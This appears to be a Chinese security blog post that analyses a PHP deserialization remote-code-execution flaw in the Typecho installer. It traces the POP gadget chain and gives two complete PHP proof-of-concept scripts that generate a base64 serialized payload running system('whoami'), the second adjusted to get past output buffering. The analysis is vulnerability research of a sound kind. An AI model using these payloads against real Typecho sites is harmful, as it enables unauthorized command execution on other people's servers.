Yoga7xm's Blog

Typecho 反序列化RCE漏洞分析

字数统计: 1.2k阅读时长: 4 min
2019/06/01 Share

前言

最近想琢磨下PHP反序列化及POP链的构造,这个漏洞之前就听说了,而且影响挺大的,所以分析一波,学习下思路,利用思路还是挺巧妙的。

漏洞分析

漏洞点在根目录下的install.php文件中,搜索unserialize可以定位到

未经过任何过滤直接反序列化操作,假如此处的__typecho_config变量可控,说明存在反序列漏洞,于是跟进Typecho_Cookie::get()方法

先判断是否存在$_COOKIE['__typecho_config'],假如不存在就从POST中取得,然后返回,很明显传入反序列化的变量是可控的。这里Payload既可以通过POST直接提交,又可以通过Cookie注入,需要构造POP链。继续回到漏洞处,往下走是Typecho_Cookie::delete()方法,跟进

只是一个删除Cookie的操作,没有利用地步,继续往下走,关键来了。

1
$db = new Typecho_Db($config['adapter'], $config['prefix']);

实例化了一个Typecho_Db类,跟进构造方法

这里进行字符串拼接的时候,强行进行数据转换,就会调用__toString()作为跳板,于是全局搜索

这里找到var/Typecho/Feed.php中Typecho_Feed类定义的__toString()方法,关键位置

这里拼接的时候调用了$item['author']screenName属性,假如这个属性是不可访问的或者不存在的话,就会调用魔术方法__get(),所以继续全局寻找可利用的__get()方法

找到var/Typecho/Request.php中Typecho_Request类定义的__get()方法

调用$this->get(),继续跟进

这里的value是可以通过_params[$key]赋值的,而key就是传入的screenName,可控点。继续跟进_applyFilter()

当$value不是数组的时候就会调用call_user_func(),而此处$this->_filter[]是可控的,$value的值是_params[‘screenName’],也是可控的,能够成功RCE,至此POP链构造完成

利用链

1
2
3
4
5
install.php -> Typecho_Db::construct(){'Typecho_Db_Adapter_' . $adapterName}

-> var/Typecho/Feed.php:Typecho_Feed::__toString($adapterName){$item['author']->screenName}

-> var/Typecho/Request.php:Typecho_Request::__get('screenName') -> Typecho_Request::get('screenName') -> Typecho_Request::_applyFilter($_params['screenName']) {call_user_func($this->_filter[],$_params['screenName'])}

漏洞利用

回到漏洞点,要想传入此处,得满足if()语句,存在$_GET['finish']以及HTTP_REFERER头部

1
2
3
4
5
6
7
8
9
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}

所以利用条件也就明了:

  • $_GET[‘finish’]存在且不为空
  • Referer头部存在且为本站

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php  
class Typecho_Request
{

private $_params = array();
private $_filter = array();
function __construct(){
$this->_params['screenName'] = 'whoami'; //$_params['screenName']
$this->_filter['0'] = 'system';//$_filter[]
}
}
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
function __construct()
{
$this->_type = $this::RSS2; //调用screenName的条件
$this->_items[0] = array(
'link' => 'link',
'title' => 'title',
'date' => 1559745146,
'author' => new Typecho_Request(),
);
}
}
$arr = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo $exp = base64_encode(serialize($arr));

然后得到exp,访问,回显数据库服务错误

只能Debug一波,可以发现的是,命令是可以成功执行的

但是后面就跳转到一个ob_end_clean()方法中,然后就触发异常,进行异常输出了。

回过头来看ob_end_clean(),程序在install.php开头就设置了ob_start()。查询文档

ob_start()函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。

ob_end_clean()丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。

参考LoRexxar师傅的文章,需要强制退出,使其不会执行到exception。方法有两个

  • 因为call_user_func函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来
  • 在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。

这里选择的是后者,$item['category']赋值对象,让其用数组的形式,当foreach遍历对象时触发错误,退出程序

POC2.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php  
class Typecho_Request
{

private $_params = array();
private $_filter = array();
function __construct(){

$this->_params['screenName'] = 'whoami'; //$_params['screenName']
$this->_filter['0'] = 'system';//$_filter[]
}
}
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
function __construct()
{
$this->_type = $this::RSS2; //调用screenName的条件
$this->_items[0] = array(
'link' => 'link',
'title' => 'title',
'date' => 1559745146,
'author' => new Typecho_Request(),
'category' => array(new Typecho_Request())
);
}
}
$arr = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo $exp = base64_encode(serialize($arr));

然后拿到EXP,执行,成功运行!!!

漏洞补丁

传送门

官方补丁将反序列操作直接删除了

Reference

https://paper.seebug.org/424/

https://www.freebuf.com/vuls/155753.html

CATALOG
  1. 1. 前言
  2. 2. 漏洞分析
  3. 3. 漏洞利用
    1. 3.1. POC
    2. 3.2. POC2.0
  4. 4. 漏洞补丁
  5. 5. Reference